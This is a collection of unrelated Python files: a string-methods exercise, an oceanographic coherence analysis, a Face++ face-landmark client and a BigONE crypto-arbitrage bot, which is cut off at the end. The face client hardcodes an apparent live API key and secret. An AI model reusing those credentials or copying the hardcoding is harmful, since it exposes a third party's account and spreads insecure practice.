text = ''' Victor Hugo's ({}) tale of injustice, heroism and love follows the fortunes of Jean Valjean, an escaped convict determined to put his criminal past behind him. But his attempts to become a respected member of the community are constantly put under threat: by his own conscience, when, owing to a case of mistaken identity, another man is arrested in his place; and by the relentless investigations of the dogged Inspector Javert. It is not simply for himself that Valjean must stay free, however, for he has sworn to protect the baby daughter of Fantine, driven to prostitution by poverty. Norman Denny's ({}) lively English translation is accompanied by an introduction discussing Hugo's political and artistic aims in writing Les Miserables. Victor Hugo (1802-85) wrote volumes of criticism, dramas, satirical verse and political journalism but is best remembered for his novels, especially Notre-Dame de Paris (also known as The Hunchback of Notre-Dame) and Les Miserables, which was adapted into one of the most successful musicals of all time. 'All human life is here' Cameron Mackintosh, producer of the musical Les Miserables 'One of the half-dozen greatest novels of the world' Upton Sinclair 'A great writer - inventive, witty, sly, innovatory' A. S. Byatt, author of Possession ''' name = 'Victor' word1 = 'writer' word2 = 'witty' numbers = "0123456789" small_letters = 'abcdefghijklmnopqrstuvwxyz' big_letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' name_index = text.find(name) name_plus3 = text[name_index: name_index+len(name)+3] word1_index = text.find(word1, 0, 100) word2_index = text.find(word2, int(len(text)/2), len(text)) count_characters = text.count('of') is_text_starts_with_name = text.startswith(name) is_text_ends_with_name = text.endswith(name) text = text.format('1822-95', '1807-63') words = text.split(' ') text1 = ''.join(words) text2 = ','.join(words) text3 = '_'.join(words) text4 = ' '.join(words) text5 = text.replace('of', '@🐔') text6 = text.capitalize() text7 = text.replace('a', '') text8 = text.strip() upper_name = name.upper() lower_name = name.lower() is_name_upper = name.isupper() is_name_lower = name.islower() is_big_letters_upper = big_letters.isupper() is_small_letters_lower = small_letters.islower() stringed_integer = '90'.isnumeric() stringed_float = '90.5'.isnumeric() converted_int = int('90') converted_float = float('90.5') converted_string = str(183) is_digit = converted_string[1].isdigit() edges = small_letters[0] + big_letters[-1] body = numbers[1:-1] evens = numbers[::2] odds = numbers[1::2] print('name', name) print('word1', word1) print('word2', word2) print('numbers', numbers) print('small_letters', small_letters) print('big_letters', big_letters) print('name_index', name_index) print('name_plus3', name_plus3) print('word1_index', word1_index) print('word2_index', word2_index) print('count_characters -> \'of\' in the text', count_characters) print('is_text_starts_with_name', is_text_starts_with_name) print('is_text_ends_with_name', is_text_ends_with_name) print('\n\n\n\n\n', 'text', text, '\n\n\n\n\n') print('\n\n\n\n\n', 'words', words, '\n\n\n\n\n') print('\n\n\n\n\n', 'text1', text1, '\n\n\n\n\n') print('\n\n\n\n\n', 'text2', text2, '\n\n\n\n\n') print('\n\n\n\n\n', 'text3', text3, '\n\n\n\n\n') print('\n\n\n\n\n', 'text4', text4, '\n\n\n\n\n') print('\n\n\n\n\n', 'text5', text5, '\n\n\n\n\n') print('\n\n\n\n\n', 'text6', text6, '\n\n\n\n\n') print('\n\n\n\n\n', 'text7', text7, '\n\n\n\n\n') print('\n\n\n\n\n', 'text8', text8, '\n\n\n\n\n') print('upper_name', upper_name) print('lower_name', lower_name) print('is_name_upper', is_name_upper) print('is_name_lower', is_name_lower) print('is_big_letters_upper', is_big_letters_upper) print('is_small_letters_lower', is_small_letters_lower) print('stringed_integer', stringed_integer) print('stringed_float', stringed_float) print('converted_int', converted_int) print('converted_float', converted_float) print('converted_string', converted_string) print('is_digit', is_digit) print('edges', edges) print('body', body) print('evens', evens) print('odds', odds)

bceaba57987d2038b2b3f984d0fa700547f6902c

py

Python

SIO_Code/SIO_coherence.py

mmstoll/Ocean569_Code

228cb719f3e82f187f704f343d3b3590a38236d7

SIO_Code/SIO_coherence.py

mmstoll/Ocean569_Code

228cb719f3e82f187f704f343d3b3590a38236d7

SIO_Code/SIO_coherence.py

mmstoll/Ocean569_Code

228cb719f3e82f187f704f343d3b3590a38236d7

""" Data: Temperature and Salinity time series from SIO Scripps Pier Salinity: measured in PSU at the surface (~0.5m) and at depth (~5m) Temp: measured in degrees C at the surface (~0.5m) and at depth (~5m) - Timestamp included beginning in 1990 """ # imports import sys,os import pandas as pd import numpy as np import matplotlib.pyplot as plt import datetime from scipy import signal import scipy.stats as ss import SIO_modules as SIO_mod from importlib import reload reload(SIO_mod) # read in temp and sal files sal_data = pd.read_csv('/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/SIO_SALT_1916-201905.txt', sep='\t', skiprows = 27) temp_data = pd.read_csv('/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/SIO_TEMP_1916_201905.txt', sep='\t', skiprows = 26) ENSO_data = pd.read_excel('/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/NOAA_ENSO_data.xlsx') ENSO_data_recent = pd.read_excel('/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/NOAA_ENSO_recent_data.xlsx') PDO_data = pd.read_csv('/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/NOAA_PDO_data.csv', skiprows = 1) path_out = '/Users/MMStoll/Python/Output/Ocean569_Output/SIO_Output/' # convert year, month, day columns to single DATE column sal_data['DATE'] = pd.to_datetime(sal_data[['YEAR', 'MONTH', 'DAY']]) temp_data['DATE'] = pd.to_datetime(temp_data[['YEAR', 'MONTH', 'DAY']]) ENSO_data_all = ENSO_data.append(ENSO_data_recent[323:], ignore_index = True) PDO_data['DATE'] = pd.to_datetime(PDO_data['Date'], format='%Y%m') # remove uncertain data(SURF_FLAG between 1 and 4), replace with NaN, then interpolate for i in range(0,len(sal_data['SURF_SAL_PSU'])): if (sal_data['SURF_FLAG'][i] >= 1) and (sal_data['SURF_FLAG'][i] <=4): sal_data['SURF_SAL_PSU'][i] = np.nan for i in range(0,len(temp_data['SURF_TEMP_C'])): if (sal_data['SURF_FLAG'][i] >= 1) and (sal_data['SURF_FLAG'][i] <=4): sal_data['SURF_SAL_PSU'][i] = np.nan # interpolate missing temp and sal data sal_data['SURF_SAL_PSU'] = sal_data['SURF_SAL_PSU'].interpolate() temp_data['SURF_TEMP_C'] = temp_data['SURF_TEMP_C'].interpolate() sal_data['SURF_SAL_PSU'][0] = sal_data['SURF_SAL_PSU'][1] # remove the average from the sal and temp data and create new columns sal_data['SURF_SAL_PSU_NOAVG'] = sal_data['SURF_SAL_PSU'] - sal_data['SURF_SAL_PSU'].mean() temp_data['SURF_TEMP_C_NOAVG'] = temp_data['SURF_TEMP_C'] - temp_data['SURF_TEMP_C'].mean() # remove trends from the sal and temp data and create new columns sal_fit = np.polyfit(sal_data.index,sal_data['SURF_SAL_PSU_NOAVG'],1) sal_fit_fn = np.poly1d(sal_fit) temp_fit = np.polyfit(temp_data.index,temp_data['SURF_TEMP_C_NOAVG'],1) temp_fit_fn = np.poly1d(temp_fit) sal_fit_value = sal_fit_fn(sal_data.index) temp_fit_value = temp_fit_fn(temp_data.index) sal_data['SURF_SAL_PSU_DETREND'] = sal_data['SURF_SAL_PSU_NOAVG'] - sal_fit_value temp_data['SURF_TEMP_C_DETREND'] = temp_data['SURF_TEMP_C_NOAVG'] - temp_fit_value sal_tri = sal_data['SURF_SAL_PSU_DETREND'].rolling(center = True, window = 30, min_periods = 3, win_type = 'triang').mean() temp_tri = temp_data['SURF_TEMP_C_DETREND'].rolling(center = True, window = 30, min_periods = 3, win_type = 'triang').mean() # # 1. FFT the SIO Data # t_freq,t_spec,t_spec_amp,t_fft,t_delt,t_freq_T,t_freq_nyquist = SIO_mod.var_fft(temp_data['SURF_TEMP_C_DETREND']) # # 2. Apply butterworth filter to SIO data, with cutoff equal to nyquist freq of enso index # fs = 1 # sampling frequency, once per day # fc = 1/60 # cut-off frequency of the filter (cut off periods shorter than 60 days) # w = fc / (fs / 2) #normalize the frequency # b, a = signal.butter(4, w, 'low') # temp_output = signal.filtfilt(b, a, t_spec) # # 3. Inverse FFT of filtered SIO data # temp_ifft = np.fft.irfft(temp_output,n=len(temp_output)) # # 4. Subsample new SIO time series with same delta t as ENSO index (once per month) # temp_ifft_sampled = np.mean(temp_ifft[0:18750].reshape(-1, 30), axis=1) # temp_ifft_len = temp_ifft_sampled[0:618] # x = np.linspace(0,18770, 18770) # plt.figure() # plt.loglog(x, temp_ifft) # plt.show() # butterworth low pass filter for temperature and salinity fs = 1 # sampling frequency, once per day fc = 1/500 # cut-off frequency of the filter (cut off periods shorter than 500 days) w = fc / (fs / 2) #normalize the frequency b, a = signal.butter(4, w, 'low') temp_output = signal.filtfilt(b, a, temp_tri) sal_output = signal.filtfilt(b, a, sal_tri) temp_sampled = np.mean(temp_output[0:37530].reshape(-1, 30), axis=1) #length = 1251 # create dataframe with spectra for each variable spectra_temp_df = pd.DataFrame(columns = ['Temp_freq', 'Temp_spec', 'Temp_fft']) spectra_sal_df = pd.DataFrame(columns = ['Sal_freq', 'Sal_spec', 'Sal_fft']) spectra_PDO_df = pd.DataFrame(columns = ['PDO_freq', 'PDO_spec', 'PDO_fft']) spectra_ENSO_df = pd.DataFrame(columns = ['ENSO_freq', 'ENSO_spec', 'ENSO_fft']) # for coherence, start all records at 1916-01-01 # ENSO data [20:] 1916-09-01 onward, monthly// ends now, through 2019-05-01 [:1254] # Temp data [10:] 1916-09-01 onward, daily // ends 2019-05-31 # PDO data [752:] 1916-09-01 onward, monthly// ends now, thorugh 2019-05-01 [:1985] # compute spectral variables for each variable for j in range(0,4): data_sets = [temp_sampled, sal_data['SURF_SAL_PSU_DETREND'], PDO_data['Value'][743:], ENSO_data_all['VALUE'][14:]] freq, spec, spec_amp, fft, delt, freq_T, freq_nyquist = SIO_mod.var_fft(data_sets[j]) if j == 0: spectra_temp_df['Temp_freq'] = freq spectra_temp_df['Temp_spec'] = spec spectra_temp_df['Temp_fft'] = fft if j == 1: spectra_sal_df['Sal_freq'] = freq spectra_sal_df['Sal_spec'] = spec spectra_sal_df['Sal_fft'] = fft if j == 2: spectra_PDO_df['PDO_freq'] = freq spectra_PDO_df['PDO_spec'] = spec spectra_PDO_df['PDO_fft'] = fft if j == 3: spectra_ENSO_df['ENSO_freq'] = freq spectra_ENSO_df['ENSO_spec'] = spec spectra_ENSO_df['ENSO_fft'] = fft def band_average(fft_var1,fft_var2,frequency,n_av): # fft_var1 and fft_var2 are the inputs computed via fft # they can be the same variable or different variables # n_av is the number of bands to be used for smoothing (nice if it is an odd number) # this function is limnited to 100,000 points but can easily be modified nmax=100000 # T_length = (len(fft_var1) * 2 - 2) # define some variables and arrays n_spec=len(fft_var1) n_av2=int(n_av//2+1) #number of band averages/2 + 1 spec_amp_av=np.zeros(nmax) spec_phase_av=np.zeros(nmax) freq_av=np.zeros(nmax) # average the lowest frequency bands first (with half as many points in the average) sum_low_amp=0. sum_low_phase=0. count=0 spectrum_amp=np.absolute(fft_var1*np.conj(fft_var2))#/(2.*np.pi*T_length*delt) spectrum_phase=np.angle(fft_var1*np.conj(fft_var2),deg=True) #/(2.*np.pi*T_length*delt) don't know if I need the 2pi/Tdeltt here... # for i in range(0,n_av2): sum_low_amp+=spectrum_amp[i] sum_low_phase+=spectrum_phase[i] spec_amp_av[0]=sum_low_amp/n_av2 spec_phase_av[0]=sum_low_phase/n_av # compute the rest of the averages for i in range(n_av2,n_spec-n_av,n_av): count+=1 spec_amp_est=np.mean(spectrum_amp[i:i+n_av]) spec_phase_est=np.mean(spectrum_phase[i:i+n_av]) freq_est=frequency[i+n_av//2] spec_amp_av[count]=spec_amp_est spec_phase_av[count]=spec_phase_est freq_av[count]=freq_est # omega0 = 2.*np.pi/(T_length*delt) # contract the arrays spec_amp_av=spec_amp_av[0:count] spec_phase_av=spec_phase_av[0:count] freq_av=freq_av[0:count] return spec_amp_av,spec_phase_av,freq_av,count n_av = 5 # define terms to compute coherence between temp and ENSO t_freq,t_spec,t_spec_amp,t_fft,t_delt,t_freq_T,t_freq_nyquist = SIO_mod.var_fft(temp_sampled) #take fft/compute spectra of temp_sampled at 30 day intervals t_spec_b,t_phase_b,t_freq_av_b,count=band_average(t_fft,t_fft,t_freq,n_av) e_spec_b,e_phase_b,e_freq_av_b,count=band_average(spectra_ENSO_df['ENSO_fft'],spectra_ENSO_df['ENSO_fft'],spectra_ENSO_df['ENSO_freq'],n_av) e_fft_star = np.conj(spectra_ENSO_df['ENSO_fft']) cospec_amp2,cospec_phase2,freq_av2,count2=band_average(t_fft,e_fft_star,spectra_ENSO_df['ENSO_freq'],n_av) coh_sq2=cospec_amp2**2/(t_spec_b*e_spec_b) # define colors t_color = 'cadetblue' s_color = 'darkslateblue' p_color = 'seagreen' e_color = 'steelblue' freq_ann = 2*np.pi/365.25 # plot the coherence and phase between ENSO and temperature tstr = 'SIO Temperature and ENSO Index \nCoherence and Phase' im_name = 'SIO_TempENSO_CoherencePhase.jpg' NR = 2; NC = 1 fig, axes = plt.subplots(nrows = NR,ncols=NC,figsize = (10,7)) axes[0].semilogx(freq_av2,coh_sq2, color = e_color) axes[0].set_xlabel('$\omega$ (radians/day)') axes[0].set_ylabel('Squared Coherence $\it{T}$-$\it{ENSO}$') axes[0].axvline(t_freq_nyquist, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.075, 0.1,'$\omega_{max}$', alpha = 0.5) #transform = ax.transAxes) axes[0].axvline(t_freq_T, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.00018, 0.1,'$\omega_o$', alpha = 0.5) #transform = ax.transAxes) axes[0].axvline(freq_ann, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.0098, 0.1, 'Annual', alpha = 0.5)#transform = ax.transAxes) axes[1].semilogx(freq_av2, cospec_phase2, color = e_color) axes[1].set_xlabel('$\omega$ (radians/day)') axes[1].set_ylabel('Phase $\it{T}$-$\it{ENSO}$, degrees') axes[1].axvline(t_freq_nyquist, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.075, -110,'$\omega_{max}$', alpha = 0.5) #transform = ax.transAxes) axes[1].axvline(t_freq_T, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.00018, -110,'$\omega_o$', alpha = 0.5)#transform = ax.transAxes) axes[1].axvline(freq_ann, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.0098, -110, 'Annual', alpha = 0.5)#transform = ax.transAxes) fig.suptitle(tstr) # fig.tight_layout(pad=2.0) plt.savefig(path_out + im_name) plt.show() n_av = 5 # define terms to compute coherence between temp and ENSO #t_freq,t_spec,t_spec_amp,t_fft,t_delt,t_freq_T,t_freq_nyquist = SIO_mod.var_fft(temp_sampled) #take fft/compute spectra of temp_sampled at 30 day intervals #t_spec_b,t_phase_b,t_freq_av_b,count=band_average(t_fft,t_fft,t_freq,n_av) p_spec_b,p_phase_b,p_freq_av_b,count=band_average(spectra_PDO_df['PDO_fft'],spectra_PDO_df['PDO_fft'],spectra_PDO_df['PDO_freq'],n_av) p_fft_star = np.conj(spectra_PDO_df['PDO_fft']) cospec_amp2,cospec_phase2,freq_av2,count2=band_average(t_fft,p_fft_star,spectra_PDO_df['PDO_freq'],n_av) coh_sq2=cospec_amp2**2/(t_spec_b*p_spec_b) # plot the coherence and phase between ENSO and temperature tstr = 'SIO Temperature and PDO Index \nCoherence and Phase' im_name = 'SIO_TempPDO_CoherencePhase.jpg' NR = 2; NC = 1 fig, axes = plt.subplots(nrows = NR,ncols=NC,figsize = (10,7)) axes[0].semilogx(freq_av2,coh_sq2, color = p_color) axes[0].set_xlabel('$\omega$ (radians/day)') axes[0].set_ylabel('Squared Coherence $\it{T}$-$\it{PDO}$') axes[0].axvline(t_freq_nyquist, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.075, 0.1,'$\omega_{max}$', alpha = 0.5) #transform = ax.transAxes) axes[0].axvline(t_freq_T, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.00018, 0.1,'$\omega_o$', alpha = 0.5) #transform = ax.transAxes) axes[0].axvline(freq_ann, color = 'black', linestyle = '--', alpha = 0.5) axes[0].text(0.0098, 0.1, 'Annual', alpha = 0.5)#transform = ax.transAxes) axes[1].semilogx(freq_av2, cospec_phase2, color = p_color) axes[1].set_xlabel('$\omega$ (radians/day)') axes[1].set_ylabel('Phase $\it{T}$-$\it{PDO}$, degrees') axes[1].axvline(t_freq_nyquist, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.075, -110,'$\omega_{max}$', alpha = 0.5) #transform = ax.transAxes) axes[1].axvline(t_freq_T, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.00018, -110,'$\omega_o$', alpha = 0.5)#transform = ax.transAxes) axes[1].axvline(freq_ann, color = 'black', linestyle = '--', alpha = 0.5) axes[1].text(0.0098, -110, 'Annual', alpha = 0.5)#transform = ax.transAxes) fig.suptitle(tstr) # fig.tight_layout(pad=2.0) plt.savefig(path_out + im_name) plt.show()

bcf0d2ce383dabf5df66eb0e8657dcde75189cda

py

Python

core/recognizer.py

awen1988/yry

b65ccd7062d60f605fc978a87e060d0015cf1d4c

2017-11-14T07:20:33.000Z

2021-06-18T07:07:18.000Z

core/recognizer.py

awen1988/yry

b65ccd7062d60f605fc978a87e060d0015cf1d4c

2018-04-18T08:01:09.000Z

2018-08-17T02:57:33.000Z

core/recognizer.py

awen1988/yry

b65ccd7062d60f605fc978a87e060d0015cf1d4c

2017-11-14T07:17:00.000Z

2021-01-21T08:10:07.000Z

""" recognize face landmark """ import json import os import requests import numpy as np FACE_POINTS = list(range(0, 83)) JAW_POINTS = list(range(0, 19)) LEFT_EYE_POINTS = list(range(19, 29)) LEFT_BROW_POINTS = list(range(29, 37)) MOUTH_POINTS = list(range(37, 55)) NOSE_POINTS = list(range(55, 65)) RIGHT_EYE_POINTS = list(range(65, 75)) RIGHT_BROW_POINTS = list(range(75, 83)) LEFT_FACE = list(range(0, 10)) + list(range(29, 34)) RIGHT_FACE = list(range(9, 19)) + list(range(75, 80)) JAW_END = 19 FACE_START = 0 FACE_END = 83 OVERLAY_POINTS = [ LEFT_FACE, RIGHT_FACE, JAW_POINTS, ] def face_points(image): points = [] txt = image + '.txt' if os.path.isfile(txt): with open(txt) as file: for line in file: points = line elif os.path.isfile(image): points = landmarks_by_face__(image) with open(txt, 'w') as file: file.write(str(points)) faces = json.loads(points)['faces'] if len(faces) == 0: err = 404 else: err = 0 matrix_list = np.matrix(matrix_marks(faces[0]['landmark'])) point_list = [] for p in matrix_list.tolist(): point_list.append((int(p[0]), int(p[1]))) return matrix_list, point_list, err def landmarks_by_face__(image): url = 'https://api-cn.faceplusplus.com/facepp/v3/detect' params = { 'api_key': 'ZBbrYf41rX5AJ2mVDEcdIERF7HOlpG6t', 'api_secret': 'G5qlzXk7Wd9iE6MlORYPRulJ2lihdt9U', 'return_landmark': 1, } file = {'image_file': open(image, 'rb')} r = requests.post(url=url, files=file, data=params) if r.status_code == requests.codes.ok: return r.content.decode('utf-8') else: return r.content def matrix_rectangle(left, top, width, height): pointer = [ (left, top), (left + width / 2, top), (left + width - 1, top), (left + width - 1, top + height / 2), (left, top + height / 2), (left, top + height - 1), (left + width / 2, top + height - 1), (left + width - 1, top + height - 1) ] return pointer def matrix_marks(res): pointer = [ [res['contour_left1']['x'], res['contour_left1']['y']], [res['contour_left2']['x'], res['contour_left2']['y']], [res['contour_left3']['x'], res['contour_left3']['y']], [res['contour_left4']['x'], res['contour_left4']['y']], [res['contour_left5']['x'], res['contour_left5']['y']], [res['contour_left6']['x'], res['contour_left6']['y']], [res['contour_left7']['x'], res['contour_left7']['y']], [res['contour_left8']['x'], res['contour_left8']['y']], [res['contour_left9']['x'], res['contour_left9']['y']], [res['contour_chin']['x'], res['contour_chin']['y']], [res['contour_right9']['x'], res['contour_right9']['y']], [res['contour_right8']['x'], res['contour_right8']['y']], [res['contour_right7']['x'], res['contour_right7']['y']], [res['contour_right6']['x'], res['contour_right6']['y']], [res['contour_right5']['x'], res['contour_right5']['y']], [res['contour_right4']['x'], res['contour_right4']['y']], [res['contour_right3']['x'], res['contour_right3']['y']], [res['contour_right2']['x'], res['contour_right2']['y']], [res['contour_right1']['x'], res['contour_right1']['y']], [res['left_eye_bottom']['x'], res['left_eye_bottom']['y']], [res['left_eye_center']['x'], res['left_eye_center']['y']], [res['left_eye_left_corner']['x'], res['left_eye_left_corner']['y']], [res['left_eye_lower_left_quarter']['x'], res['left_eye_lower_left_quarter']['y']], [res['left_eye_lower_right_quarter']['x'], res['left_eye_lower_right_quarter']['y']], [res['left_eye_pupil']['x'], res['left_eye_pupil']['y']], [res['left_eye_right_corner']['x'], res['left_eye_right_corner']['y']], [res['left_eye_top']['x'], res['left_eye_top']['y']], [res['left_eye_upper_left_quarter']['x'], res['left_eye_upper_left_quarter']['y']], [res['left_eye_upper_right_quarter']['x'], res['left_eye_upper_right_quarter']['y']], [res['left_eyebrow_left_corner']['x'], res['left_eyebrow_left_corner']['y']], [res['left_eyebrow_upper_left_quarter']['x'], res['left_eyebrow_upper_left_quarter']['y']], [res['left_eyebrow_upper_middle']['x'], res['left_eyebrow_upper_middle']['y']], [res['left_eyebrow_upper_right_quarter']['x'], res['left_eyebrow_upper_right_quarter']['y']], [res['left_eyebrow_right_corner']['x'], res['left_eyebrow_right_corner']['y']], [res['left_eyebrow_lower_left_quarter']['x'], res['left_eyebrow_lower_left_quarter']['y']], [res['left_eyebrow_lower_middle']['x'], res['left_eyebrow_lower_middle']['y']], [res['left_eyebrow_lower_right_quarter']['x'], res['left_eyebrow_lower_right_quarter']['y']], [res['mouth_left_corner']['x'], res['mouth_left_corner']['y']], [res['mouth_lower_lip_bottom']['x'], res['mouth_lower_lip_bottom']['y']], [res['mouth_lower_lip_left_contour1']['x'], res['mouth_lower_lip_left_contour1']['y']], [res['mouth_lower_lip_left_contour2']['x'], res['mouth_lower_lip_left_contour2']['y']], [res['mouth_lower_lip_left_contour3']['x'], res['mouth_lower_lip_left_contour3']['y']], [res['mouth_lower_lip_right_contour1']['x'], res['mouth_lower_lip_right_contour1']['y']], [res['mouth_lower_lip_right_contour2']['x'], res['mouth_lower_lip_right_contour2']['y']], [res['mouth_lower_lip_right_contour3']['x'], res['mouth_lower_lip_right_contour3']['y']], [res['mouth_lower_lip_top']['x'], res['mouth_lower_lip_top']['y']], [res['mouth_right_corner']['x'], res['mouth_right_corner']['y']], [res['mouth_upper_lip_bottom']['x'], res['mouth_upper_lip_bottom']['y']], [res['mouth_upper_lip_left_contour1']['x'], res['mouth_upper_lip_left_contour1']['y']], [res['mouth_upper_lip_left_contour2']['x'], res['mouth_upper_lip_left_contour2']['y']], [res['mouth_upper_lip_left_contour3']['x'], res['mouth_upper_lip_left_contour3']['y']], [res['mouth_upper_lip_right_contour1']['x'], res['mouth_upper_lip_right_contour1']['y']], [res['mouth_upper_lip_right_contour2']['x'], res['mouth_upper_lip_right_contour2']['y']], [res['mouth_upper_lip_right_contour3']['x'], res['mouth_upper_lip_right_contour3']['y']], [res['mouth_upper_lip_top']['x'], res['mouth_upper_lip_top']['y']], [res['nose_contour_left1']['x'], res['nose_contour_left1']['y']], [res['nose_contour_left2']['x'], res['nose_contour_left2']['y']], [res['nose_contour_left3']['x'], res['nose_contour_left3']['y']], [res['nose_contour_lower_middle']['x'], res['nose_contour_lower_middle']['y']], [res['nose_contour_right1']['x'], res['nose_contour_right1']['y']], [res['nose_contour_right2']['x'], res['nose_contour_right2']['y']], [res['nose_contour_right3']['x'], res['nose_contour_right3']['y']], [res['nose_left']['x'], res['nose_left']['y']], [res['nose_right']['x'], res['nose_right']['y']], [res['nose_tip']['x'], res['nose_tip']['y']], [res['right_eye_bottom']['x'], res['right_eye_bottom']['y']], [res['right_eye_center']['x'], res['right_eye_center']['y']], [res['right_eye_left_corner']['x'], res['right_eye_left_corner']['y']], [res['right_eye_lower_left_quarter']['x'], res['right_eye_lower_left_quarter']['y']], [res['right_eye_lower_right_quarter']['x'], res['right_eye_lower_right_quarter']['y']], [res['right_eye_pupil']['x'], res['right_eye_pupil']['y']], [res['right_eye_right_corner']['x'], res['right_eye_right_corner']['y']], [res['right_eye_top']['x'], res['right_eye_top']['y']], [res['right_eye_upper_left_quarter']['x'], res['right_eye_upper_left_quarter']['y']], [res['right_eye_upper_right_quarter']['x'], res['right_eye_upper_right_quarter']['y']], [res['right_eyebrow_left_corner']['x'], res['right_eyebrow_left_corner']['y']], [res['right_eyebrow_upper_left_quarter']['x'], res['right_eyebrow_upper_left_quarter']['y']], [res['right_eyebrow_upper_middle']['x'], res['right_eyebrow_upper_middle']['y']], [res['right_eyebrow_upper_right_quarter']['x'], res['right_eyebrow_upper_right_quarter']['y']], [res['right_eyebrow_right_corner']['x'], res['right_eyebrow_right_corner']['y']], [res['right_eyebrow_lower_left_quarter']['x'], res['right_eyebrow_lower_left_quarter']['y']], [res['right_eyebrow_lower_middle']['x'], res['right_eyebrow_lower_middle']['y']], [res['right_eyebrow_lower_right_quarter']['x'], res['right_eyebrow_lower_right_quarter']['y']], ] return pointer

bcf7f47be4d0d789e4869009ef9f2f68c5ab3b33

py

Python

main_cl.py

spiolynn/pybo

186495de315eb8ec47a996de959574f9864da7c4

main_cl.py

spiolynn/pybo

186495de315eb8ec47a996de959574f9864da7c4

main_cl.py

spiolynn/pybo

186495de315eb8ec47a996de959574f9864da7c4

# coding: utf-8 from bigone import BigOneDog from common import gen_logger import logging import time import json def strategy_eth_big_bnc_eth(dog): """ 正向：买BIG/ETH -> 卖BIG/BNC -> 买ETH/BNC 反向：卖ETH/BNC -> 买BIG/BNC -> 卖BIG/ETH :param dog: implemention of BigOneDog :return: 正向收益率，反向收益率 """ big_eth_data = dog.get_order_book('BIG-ETH') big_bnc_data = dog.get_order_book('BIG-BNC') eth_bnc_data = dog.get_order_book('ETH-BNC') print('BIG-ETH') print('卖一', big_eth_data['asks'][0]['price'], big_eth_data['asks'][0]['amount']) print('买一', big_eth_data['bids'][0]['price'], big_eth_data['bids'][0]['amount']) print('BIG-BNC') print('卖一', big_bnc_data['asks'][0]['price'], big_bnc_data['asks'][0]['amount']) print('买一', big_bnc_data['bids'][0]['price'], big_bnc_data['bids'][0]['amount']) print('ETH-BNC') print('卖一', eth_bnc_data['asks'][0]['price'], eth_bnc_data['asks'][0]['amount']) print('买一', eth_bnc_data['bids'][0]['price'], eth_bnc_data['bids'][0]['amount']) # positive transaction pos_anc = 0.999*0.999*0.999*\ ((1 / (float(big_eth_data['asks'][0]['price']))) * float(big_bnc_data['bids'][0]['price']) ) pos_anc = pos_anc / float(eth_bnc_data['asks'][0]['price']) - 1 # negative transaction neg_anc = 0.999 * 0.999 * 0.999 * \ (float(eth_bnc_data['bids'][0]['price']) / float(big_bnc_data['asks'][0]['price']) * float(big_eth_data['asks'][0]['price'])) neg_anc = neg_anc / 1 - 1 flag = False amt = 2.0 if float(big_eth_data['asks'][0]['amount']) >= amt: if float(big_bnc_data['bids'][0]['amount']) >= amt: if float(eth_bnc_data['asks'][0]['amount']) >= amt * float(big_eth_data['asks'][0]['price']): flag = True msg = "预期本次[正向套利:买BIG/ETH -> 卖BIG/BNC -> 买ETH/BNC]利润:" if pos_anc < 0.01: result = "利润空间小于1%, 放弃本次套利 0" logger.info("{0} {1:.2f}%, {2}".format(msg,pos_anc*100,result)) else: result = "利润空间大于1%" if flag is False: result = "{},{}".format(result,"量不足, 放弃本次套利 0") logger.info("{0} {1:.2f}%, {2}".format(msg,pos_anc*100,result)) else: result = "{},{}".format(result,"执行本次套利 1") logger.info("{0} {1:.2f}%, {2}".format(msg,pos_anc*100,result)) print("{} {} {} {}".format('BIG-ETH','BID', big_eth_data['asks'][0]['price'], str(amt))) print("{} {} {} {}".format('BIG-BNC','ASK', big_bnc_data['bids'][0]['price'], str(amt))) print("{} {} {} {}".format('ETH-BNC','BID', eth_bnc_data['asks'][0]['price'], str(amt * float(big_eth_data['asks'][0]['price'])))) # dog.create_order('BIG-ETH','ASK', big_eth_data['asks'][0]['price'], '2.0') # dog.create_order('BIG-BNC','BID', big_bnc_data['bids'][0]['price'], '2.0') # dog.create_order('ETH-BNC','ASK', eth_bnc_data['asks'][0]['price'], # str(2.0 * float(big_eth_data['asks'][0]['price']))) return True if neg_anc < 0.01: result = "利润空间小于1%, 放弃本次套利 0" else: result = "利润空间大于1%, 执行本次套利 1" logger.info("预期本次[反向套利:卖ETH/BNC -> 买BIG/BNC -> 卖BIG/ETH]利润: {0:.2f}%, {1}".format(neg_anc*100,result)) return False # return pos_anc, neg_anc def strategy_eth_bnc(dog): eth_bnc_data = dog.get_order_book('ETH-BNC') print('ETH-BNC') print('卖一', eth_bnc_data['asks'][0]['price'], eth_bnc_data['asks'][0]['amount']) print('买一', eth_bnc_data['bids'][0]['price'], eth_bnc_data['bids'][0]['amount']) anc = float(eth_bnc_data['asks'][0]['price']) / float(eth_bnc_data['bids'][0]['price']) - 1 print(anc) if anc > 0.02: r = dog.create_order('ETH-BNC', 'BID', str(float(eth_bnc_data['bids'][0]['price'])+0.01), '0.01' ) bid_order_id = r['order_id'] r = dog.create_order('ETH-BNC', 'ASK', str(float(eth_bnc_data['asks'][0]['price'])-0.01), '0.01' ) ask_order_id = r['order_id'] return anc, anc if __name__ == '__main__': gen_logger('bigonetest') logger = logging.getLogger("bigone") with open("PRIVATE_KEY.json",'r') as f: private_key = json.load(f)["key"] dog = BigOneDog(private_key) # strategy_eth_bnc(dog) # dog.get_orders("ETH-BNC",'10') # r = dog.get_order("b79ef031-c477-46f9-b452-7e97aa97435d") # print(r) # r = dog.get_orders('ETH-BNC','10') # print(r) while True: flag = strategy_eth_big_bnc_eth(dog) if flag is True: break else: print("休眠10秒") print("") time.sleep(10) # break # pos_anc, neg_anc = strategy_eth_bnc(dog) # if pos_anc < 0.01: # result = "利润空间小于1%, 放弃本次套利 0" # else: # result = "利润空间大于1%, 执行本次套利 1" # # logger.info("预期本次[正向套利:买BIG/ETH -> 卖BIG/BNC -> 